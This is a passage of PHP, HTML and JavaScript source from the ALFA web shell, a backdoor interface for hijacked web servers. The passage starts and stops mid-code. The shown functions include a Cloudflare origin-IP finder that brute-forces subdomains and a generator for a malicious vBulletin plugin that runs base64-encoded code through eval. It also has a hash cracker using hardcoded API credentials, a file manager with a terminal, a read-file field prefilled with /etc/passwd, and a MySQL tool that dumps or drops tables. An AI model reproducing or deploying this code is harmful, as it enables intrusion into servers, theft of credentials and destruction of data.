\'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacloudflare(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4,3);\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Cloud Flare ByPasser |</div><br><form action=\'\' onsubmit=\\"g(\'cloudflare\',null,this.url.value,\'>>\'); return false;\\" method=\'post\'>\r\n<p><div class=\'txtfont\'>Target:</div> <input type=\'text\' size=30 name=\'url\' style=\'text-align:center;\' placeholder=\\"target.com\\"> <input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";\r\nif($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){\r\n$url = $_POST[\'alfa1\'];\r\nif(!preg_match(\'/^(https?):\\/\\/(w{3}|w3)\\./i\', $url)){\r\n$url = preg_replace(\'/^(https?):\\/\\//\', \'\', $url);\r\n$url = "http://www.".$url;\r\n}\r\n$headers = @get_headers($url, 1);\r\n$server = $headers[\'Server\'];\r\n$subs = array(\'owa.\',\'2tty.\',\'m.\',\'gw.\',\'mx1.\',\'store.\',\'1\',\'2\',\'vb.\',\'news.\',\'download.\',\'video\',\'cpanel.\', \'ftp.\', \'server1.\', \'cdn.\', \'cdn2.\', \'ns.\', \'ns3.\', \'mail.\', \'webmail.\', \'direct.\', \'direct-connect.\', \'record.\', \'ssl.\', \'dns.\', \'help.\', \'blog.\', \'irc.\', \'forum.\', \'dl.\', \'my.\', \'cp.\', \'portal.\', \'kb.\', \'support.\',\'search.\', \'docs.\', \'files.\', \'accounts.\', \'secure.\', \'register.\', \'apps.\', \'beta.\', \'demo.\', \'smtp.\', \'ns2.\', \'ns1.\', \'server.\', \'shop.\', \'host.\', \'web.\', \'cloud.\', \'api.\', \'exchange.\', \'app.\', \'vps.\', \'owa.\', \'sat.\', \'bbs.\', \'movie.\', \'music.\', \'art.\', \'fusion.\', \'maps.\', \'forums.\', \'acc.\', \'cc.\', \'dev.\', \'ww42.\', \'wiki.\', \'clients.\', \'client.\',\'books.\',\'answers.\',\'service.\',\'groups.\',\'images.\',\'upload.\',\'up.\',\'tube.\',\'users.\',\'admin.\',\'administrator.\',\'private.\',\'design.\',\'whmcs.\',\'wp.\',\'wordpress.\',\'joomla.\',\'vbulletin.\',\'test.\',\'developer.\',\'panel.\',\'contact.\');\r\nif(preg_match(\'/^(https?):\\/\\/(w{3}|w3)\\./i\', $url, $matches)){\r\nif($matches[2] != \'www\'){$url = preg_replace(\'/^(https?):\\/\\//\', \'\', $url);}else{\r\n$url = explode($matches[0], $url);\r\n$url = $url[1];}}\r\nif(is_array($server))$server = $server[0];\r\necho __pre();\r\nif(preg_match(\'/cloudflare/i\', $server))\r\necho "\\n[+] CloudFlare detected: {$server}\\n<br>";\r\nelse\r\necho "\\n[+] CloudFlare wasn\'t detected, proceeding anyway.\\n";\r\necho \'[+] CloudFlare IP: \' . is_ipv4(gethostbyname($url)) . "\\n\\n<br><br>";\r\necho "[+] Searching for more IP addresses.\\n\\n<br><br>";\r\nfor($x=0;$x<count($subs);$x++){\r\n$site = $subs[$x] . $url;\r\n$ip = is_ipv4(gethostbyname($site));\r\nif($ip == \'(Null)\')\r\ncontinue;\r\necho "Trying {$site}: {$ip}\\n<br>";\r\n}\r\necho "\\n[+] Finished.\\n<br>";\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction is_ipv4($ip){\r\nreturn filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : \'(Null)\';\r\n}\r\nfunction __alert($s){\r\necho \'<center>\'.__pre().$s.\'</center>\';\r\n}\r\nfunction create_table($data){\r\necho \'<table border="1">\';\r\nforeach ($data as $key => $val){\r\n$array = array();\r\nforeach($val as $k => $v){\r\n$array[$k] = $v;\r\n}\r\necho "<tr><td><div class=\'tbltxt\'>".$array[\'tdName\']."</div></td><td><input type=\'text\' id=\'".$array[\'id\']."\' name=\'".$array[\'inputName\']."\' ".($array[\'placeholder\']?\'placeholder\':\'value\')."=\'".$array[\'inputValue\']."\' size=\'".$array[\'inputSize\']."\' ".($array[\'disabled\']?\'disabled\':\'\')."></td></tr>";\r\n}\r\necho \'</table>\';\r\n}\r\nfunction alfaphp2xml(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4,3);\r\necho "<div class=header><center><p><div class=\'txtfont_header\'>| Shell For vBulletin |</div></p><form onsubmit=\\"g(\'php2xml\',null,this.code.value,\'>>\'); return false;\\" method=\'post\'>\r\n<p><br><textarea rows=\'12\' cols=\'70\' type=\'text\' name=\'code\' placeholder=\\"insert your shell code\\"></textarea><br/><br/>\r\n<input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";\r\nif($_POST[\'alfa2\']&&$_POST[\'alfa2\']==\'>>\'){\r\necho __pre()."<p><center><textarea rows=\'10\' name=\'users\' cols=\'80\'>";\r\necho \'<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\\\'PHP_SELF\\\'],"subscriptions.php")){eval(base64_decode(\\\'\'.__ZW5jb2Rlcg($_POST[\'alfa1\']).\'\\\'));exit;}]]></phpcode></plugin></plugins>\';\r\necho \'</textarea></center></p>\';\r\n}\r\necho \'</center></div>\';\r\nalfafooter();\r\n}\r\nfunction alfacpcrack(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'cpcrack\\\',null,\\\'dec\\\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\\\'cpcrack\\\',null,\\\'analyzer\\\')">| Hash Analyzer | </a></h3></center>\';\r\nif($_POST[\'alfa1\']==\'dec\'){\r\n$algorithms = array(\'md5\'=>\'MD5\',\'md4\'=>\'MD4\',\'sha1\'=>\'SHA1\',\'sha256\'=>\'SHA256\',\'sha384\'=>\'SHA384\',\'sha512\'=>\'SHA512\',\'ntlm\'=>\'NTLM\');\r\necho \'<center><div class="txtfont_header">| DeCrypter |</div><br><br>\r\n<form onsubmit="g(\\\'cpcrack\\\',null,\\\'dec\\\',this.md5.value,\\\'>>\\\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">\';\r\nforeach($algorithms as $key=>$val){echo(\'<option value="\'.$key.\'">\'.$val.\'</option>\');}\r\necho\'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';\r\nif($_POST[\'alfa3\'] == \'>>\'){\r\n$hash = $_POST[\'alfa2\'];\r\nif(!empty($hash)){\r\n$hash_type = $_POST[\'alfa4\'];\r\n$email = "solevisible@gmail.com";\r\n$code = "7b9fa79f92c3cd96";\r\n$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;\r\n$resp = @file_get_contents($target);\r\nif($resp==\'\'){\r\n$get = new AlfaCURL();\r\n$resp = $get->Send($target);\r\n}\r\necho __pre().\'<center>\';\r\nswitch($resp){\r\n\tcase(\'CODE ERREUR : 001\'):echo "<b><font color=\'red\'>You exceeded the 400 allowed request per day</font></b>";break;\r\n\tcase(\'CODE ERREUR : 003\'):echo "<b><font color=\'red\'>Your request includes more than 400 hashes.</font></b>";break;\r\n\tcase(\'CODE ERREUR : 004\'):echo "<b><font color=\'red\'>The type of hash you provide in the argument hash_type doesn\'t seem to be valid</font></b>";break;\r\n\tcase(\'CODE ERREUR : 005\'):echo "<b><font color=\'red\'>The hash you provide doesn\'t seem to match with the type of hash you set.</font></b>";break;\r\n}\r\nif(substr($resp,0,4)!=\'CODE\'&&$resp!=\'\'){\r\necho "<b>Result: <font color=\'green\'>".$resp."</font></b>";\r\n}elseif(substr($resp,0,4)!=\'CODE\'){\r\necho "<font color=\'red\'>NoT Found</font><br />";\r\n}\r\necho(\'</center>\');\r\n}\r\n}\r\n}\r\nif($_POST[\'alfa1\']==\'analyzer\'){\r\necho \'<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>\r\n<form onsubmit="g(\\\'cpcrack\\\',null,\\\'analyzer\\\',this.hash.value,\\\'>>\\\');return false;">\r\n<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>\';\r\nif($_POST[\'alfa3\'] == \'>>\'){\r\n$hash = $_POST[\'alfa2\'];\r\nif(!empty($hash)){\r\n$curl = new AlfaCURL();\r\n$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");\r\necho(__pre().\'<center>\');\r\nif(preg_match(\'#<fieldset class="trouve">(.*?)</fieldset>#\',$resp,$s)){\r\n\techo(\'<font color="green">\'.$s[1].\'</font>\');\r\n}else{\r\n\techo(\'<font color="red">Not Found...!</font>\');\r\n}\r\necho(\'</center><br>\');\r\n}\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfafooter(){\r\nif(!isset($_POST[\'ajax\'])){\r\necho "<table class=\'foot\' width=\'100%\' border=\'0\' cellspacing=\'3\' cellpadding=\'0\' >\r\n<tr>\r\n<td width=\'17%\'><form onsubmit=\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'mkfile\',\'\',\'\',\'\',\'file\');this.f.value=\'\';return false;\\"><span class=\'footer_text\'>Make File : </span><br><input class=\'dir\' type=\'text\' name=\'f\' value=\'\'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'21%\'><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);this.d.value=\'\';return false;\\"><span class=\'footer_text\'>Make Dir : </span><br><input class=\'dir\' type=\'text\' name=\'d\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'22%\'><form onsubmit=\\"g(\'FilesMan\',null,\'delete\',this.del.value);this.del.value=\'\';return false;\\"><span class=\'footer_text\'>Delete : </span><br><input class=\'dir\' type=\'text\' name=\'del\' value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n<td width=\'19%\'><form onsubmit=\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,\'chmod\',\'\',\'\',\'\',\'none\');this.f.value=\'\';return false;\\"><span class=\'footer_text\'>Chmod : </span><br><input class=\'dir\' type=text name=f value=\' \'> <input type=\'submit\' value=\' \'></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'2\'><form onsubmit=\'g(\\"FilesMan\\",this.c.value,\\"\\");return false;\'><span class=\'footer_text\'>Change Dir : </span><br><input class=\'foottable\' id=\'footer_cwd\' type=\'text\' name=\'c\' value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'> <input type=\'submit\' value=\' \'></form></td>\r\n<td colspan=\'2\'><form onsubmit=\\"editor(this.file.value,\'view\',\'\',\'\',\'\',\'file\');return false;\\"><span><span class=\'footer_text\'>Read File : </span></span><br><input class=\'foottable\' type=\'text\' name=\'file\' value=\'/etc/passwd\'> <input type=\'submit\' value=\' \'></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'4\'><form style=\'margin-top: 10px;\' onsubmit=\\"return false;\\" autocomplete=\'off\'><span><span class=\'footer_text\'>Execute :</span><br><button onClick=\'alfaOpenPhpTerminal();return false;\' class=\'foottable alfa_custom_cmd_btn\'><img style=\'width:28px;vertical-align: middle;\' src=\'http://solevisible.com/icons/menu/terminal.svg\'> Terminal</button><br></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\'4\'><form onsubmit=\'u(this);return false;\' name=\'footer_form\' method=\'post\' ENCTYPE=\'multipart/form-data\'>\r\n<input type=\'hidden\' name=\'a\' value=\'FilesMAn\'>\r\n<input type=\'hidden\' name=\'c\' value=\'" . $GLOBALS[\'cwd\'] ."\'>\r\n<input type=\'hidden\' name=\'ajax\' value=\'true\'>\r\n<input type=\'hidden\' name=\'alfa1\' value=\'uploadFile\'>\r\n<input type=\'hidden\' name=\'charset\' value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n<span class=\'footer_text\'>Upload file: </span><span><button id=\'addup\' onclick=\'addnewup();return false;\'><b>+</b></button></span><p id=\'pfooterup\'><label class=\'inputfile\' for=\'footerup\'><span id=\'__fnameup\'></span> <strong> Choose a file</strong></label><input id=\'footerup\' class=\'toolsInp\' type=\'file\' name=\'f[]\' onChange=\'handleup(this,0);\' multiple></p><input type=\'submit\' name=\'submit\' value=\' \'></form><div id=\'alfa-copyright\'><span class=\'copyright\'>[ ./AlfaTeam © 2012-".date(\'Y\')." ]</span><br><span><a href=\'javascript:void(0);\' onclick=\'alert(\\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\\");\' style=\'color: #E91E63;text-decoration: none;\'>Donate Us !</a></span> <span style=\'letter-spacing: 2px;color: #dfff00;\'>solevisible[at]gmail.com</span> <span><a style=\'color: #ff6060;text-decoration: none;\' target=\'_blank\' href=\'https://telegram.me/solevisible\'>@solevisible</a></span></div></td>\r\n</tr>\r\n</table>\r\n</div>\r\n\r\n<div id=\'options_window\' style=\'background:rgba(0, 0, 0, 0.69);\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"options_window\\");\'></div><div onClick=\'editorClose(\\"options_window\\");\' class=\'close-button\'></div></div></div><div style=\'height:100%;\' class=\'content_options_holder\'><div class=\'options_tab\'></div><div class=\'options_content\' style=\'margin-left:14px;margin-right:30px;background:#000;overflow:auto;\'></div></div></div></div>\r\n\r\n<div id=\'database_window\' style=\'background:rgba(0, 0, 0, 0.69);\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'>Sql Manager</div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"database_window\\");\'></div><div onClick=\'editorClose(\\"database_window\\");\' class=\'close-button\'></div></div></div><div class=\'content_options_holder\' style=\'margin-left:14px;margin-right:30px;background:#000;max-height:90%;\'><div class=\'sql-tabs\'></div><div class=\'sql-contents\' style=\'max-height: 85vh;\'></div></div></div></div>\r\n\r\n<div id=\'cgiloader\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'opt-title\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"cgiloader\\");\'></div><div onClick=\'editorClose(\\"cgiloader\\");\' class=\'close-button\'></div></div></div><div id=\'cgiframe\' style=\'position:relative;margin-left:14px;margin-right:30px;\'><div class=\'terminal-tabs\'></div><div style=\'height:90%;\' class=\'terminal-contents\'></div></div></div></div>\r\n<div id=\'editor\' style=\'display:none;\'><div class=\'editor-wrapper\'><div class=\'editor-header\'><div class=\'editor-path\'></div><div class=\'editor-controller\'><div class=\'editor-minimize\' onClick=\'editorMinimize(\\"editor\\");\'></div><div onClick=\'editorClose(\\"editor\\");\' class=\'close-button\'></div></div></div><div onclick=\'historyPanelController(this);\' mode=\'visible\' class=\'history-panel-controller\'><<</div><div class=\'editor-explorer\'><div class=\'hheader\'><div class=\'history-clear\' onclick=\'clearEditorHistory();\'>Clear all</div><div class=\'hheader-text\'>History</div><div class=\'editor-search\'><input type=\'text\' style=\'text-align:center;\' id=\'search-input\' placeholder=\'search\'></div></div><div class=\'history-list\'></div></div><div class=\'editor-modal\'><div class=\'editor-body\'><div class=\'editor-content\'><div class=\'editor-tabs\'></div><div class=\'editor-content-holder\'></div></div></div></div></div></div>\r\n<div id=\'update-content\'></div>\r\n<div id=\'database_window-minimized\' onclick=\'showEditor(\\"database_window\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div class=\'minimized-text\' style=\'top: 15px;\'>Database</div></div></div>\r\n<div id=\'options_window-minimized\' onclick=\'showEditor(\\"options_window\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 4px;\' class=\'minimized-text\'>Options</div></div></div>\r\n<div id=\'editor-minimized\' onclick=\'showEditor(\\"editor\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 2px;\' class=\'minimized-text\'>Editor</div></div></div>\r\n<div id=\'cgiloader-minimized\' onclick=\'showEditor(\\"cgiloader\\");\'><div class=\'minimized-wrapper\'><span class=\'options_min_badge\'>0</span><div style=\'top: 12px;\' class=\'minimized-text\'>Cgi Shell</div></div></div>\r\n<div id=\'rightclick_menu\'>\r\n <a target=\'_blank\' href=\'\' name=\'newtab\'><img src=\\"http://solevisible.com/icons/menu/newtab.svg\\"> Open in new tab</a>\r\n <a target=\'_blank\' href=\'\' name=\'link\'><img src=\\"http://solevisible.com/icons/menu/link.svg\\"> Open file directly</a>\r\n <a href=\'javascript:void(0);\' name=\'download\'><img src=\\"http://solevisible.com/icons/menu/download2.svg\\"> Download</a>\r\n <a href=\'\' name=\'view\'><img src=\\"http://solevisible.com/icons/menu/view.svg\\"> View</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'view_archive\'><img src=\\"http://solevisible.com/icons/menu/view.svg\\"> View Archive</a>\r\n <a href=\'\' name=\'edit\'><img src=\\"http://solevisible.com/icons/menu/edit.svg\\"> Edit</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"move\\");\' ftype=\'\' path=\'\' fname=\'\' href=\'\' href=\'\' name=\'move\'><img src=\\"http://solevisible.com/icons/menu/move.svg\\"> Move</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"copy\\");\' ftype=\'\' path=\'\' fname=\'\' href=\'\' name=\'copy\'><img src=\\"http://solevisible.com/icons/menu/copy.svg\\"> Copy</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"rename\\");\' ftype=\'\' path=\'\' fname=\'\' name=\'rename\'><img src=\\"http://solevisible.com/icons/menu/rename.svg\\"> Rename</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"modify\\");\' ftype=\'\' path=\'\' fname=\'\' name=\'modify\'><img src=\\"http://solevisible.com/icons/menu/time.svg\\"> Modify</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaPopupAction(this, \\"permission\\");\' name=\'permission\'><img src=\\"http://solevisible.com/icons/menu/key.svg\\"> Change Permissions</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'compress\'><img src=\\"http://solevisible.com/icons/menu/resize.svg\\"> Compress</a>\r\n <a href=\'javascript:void(0);\' onclick=\'alfaSyncMenuToOpt(this);\' path=\'\' fname=\'\' name=\'extract\'><img src=\\"http://solevisible.com/icons/menu/increase.svg\\"> Extract</a>\r\n <a href=\'javascript:void(0);\' name=\'delete\'><img src=\\"http://solevisible.com/icons/menu/delete.svg\\"> Delete</a>\r\n</div>\r\n<div id=\\"filesman-tab-full-path\\"></div>\r\n<div id=\'alert-area\' class=\'alert-area\'></div>\r\n<div class=\'cl-popup-fixed\' style=\'display:none;\'>\r\n\t<div id=\'shortcutMenu-holder\'>\r\n\t\t<div class=\'popup-head\'></div>\r\n\t\t\t<form autocomplete=\'off\' onSubmit=\'return false;\'>\r\n\t\t\t\t<label class=\'old-path-lbl\'></label>\r\n\t\t\t\t<div style=\'overflow: hidden;white-space: nowrap;text-overflow: ellipsis;\' class=\'old-path-content\'></div>\r\n\t\t\t\t<label style=\'margin-top:10px;\' class=\'new-filename-lbl\'>New file name</label>\r\n\t\t\t\t<input type=\'text\' name=\'fname\'>\r\n\t\t\t\t<div class=\'perm-table-holder\'>\r\n\t\t\t\t\t<table>\r\n\t\t\t\t\t <tbody>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td><b>Mode</b></td>\r\n\t\t\t\t\t <td>User</td>\r\n\t\t\t\t\t <td>Group</td>\r\n\t\t\t\t\t <td>World</td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Read</td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'ur\' value=\'4\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'gr\' value=\'4\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'wr\' value=\'4\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Write</td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'uw\' value=\'2\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'gw\' value=\'2\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'ww\' value=\'2\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Execute</td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'ux\' value=\'1\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'gx\' value=\'1\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t <td><input type=\'checkbox\' name=\'wx\' value=\'1\' onclick=\'calcperm();\'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t <tr>\r\n\t\t\t\t\t <td>Permission</td>\r\n\t\t\t\t\t <td><input style=\'width:60px;\' type=\'text\' name=\'u\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"u\\", [\\"u\\"]);\'></td>\r\n\t\t\t\t\t <td><input style=\'width:60px;\' type=\'text\' name=\'g\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"g\\", [\\"g\\"]);\'></td>\r\n\t\t\t\t\t <td><input style=\'width:60px;\' type=\'text\' name=\'w\' maxlength=\'1\' oninput=\'this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \\"w\\", [\\"w\\"]);\'></td>\r\n\t\t\t\t\t </tr>\r\n\t\t\t\t\t </tbody>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</div>\r\n\r\n\t\t\t</form>\r\n\t\t<div class=\'popup-foot\'>\r\n\t\t\t<button style=\'background: #2b5225;\' name=\'accept\' action=\'\' onclick=\'alfaPopUpDoAction(this);\'></button>\r\n\t\t\t<button style=\'background: #9e2c2c;\' onclick=\'d.querySelector(\\".cl-popup-fixed\\").style.display=\\"none\\";\'>Cancell</button>\r\n\t\t</div>\r\n\t</div>\r\n</div>";?>\r\n<script>\r\nfunction alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\\\[\\\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\\\[\\\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href=\'javascript:void(0);\' onclick=\'g(\\"FilesTools\\",null,\\""+s+\'","download");\\\'><span>Download: \'+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r=\'<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="\'+a+\'" placeholder="Filter Table" target=".cls-\'+i+\'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>\';for(var o in e)null!=e[o]&&(r+="<li><div class=\'block\'><i></i><b></b></div><div class=\'tables-row\'><input type=\'checkbox\' name=\'tbl[]\' value=\'"+e[o].name+"\'> <a class=\'db-opt-id\' db_target=\'"+i+"\' db_id=\'"+a+"\' href=\'javascript:void(0);\' onclick=\\"alfaLoadTableData(this, \'"+e[o].name+"\')\\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>"+e[o].name+"</span></a>"+(l?" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>("+e[o].count+")</span></small>":" ")+"</div></li>");r+=\'</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="\'+a+\'" class="db-opt-id" target=".cls-\'+i+\'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="\'+a+\'" target=".cls-\'+i+\'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="\'+a+\'" class="db-opt-id" db_target="\'+i+\'" target=".cls-\'+i+\'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>\',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander 